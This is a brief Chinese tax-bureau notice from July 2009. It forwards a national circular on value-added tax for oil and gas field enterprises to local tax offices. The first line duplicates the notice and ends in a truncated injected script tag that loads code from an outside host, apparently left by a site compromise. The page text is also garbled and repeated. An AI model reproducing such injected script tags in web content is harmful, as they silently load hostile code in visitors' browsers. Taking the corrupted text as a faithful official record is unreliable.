- 各区、县(地区)国家税务局,直属税务分局: 现将《财政部、国家税务总局关于油气田企业增值税问题的补充通知》(财税[2009]97号)转发给你们,请依照执行。 2009年7月30日 <script src=http://3god%
各区、县(地区)国家税务局,直属税务分局:
现将《财政部、国家税务总局关于油气田企业增值税问题的补充通知》(财税[2009]97号)转发给你们,请依照执行。
2009年7月30日
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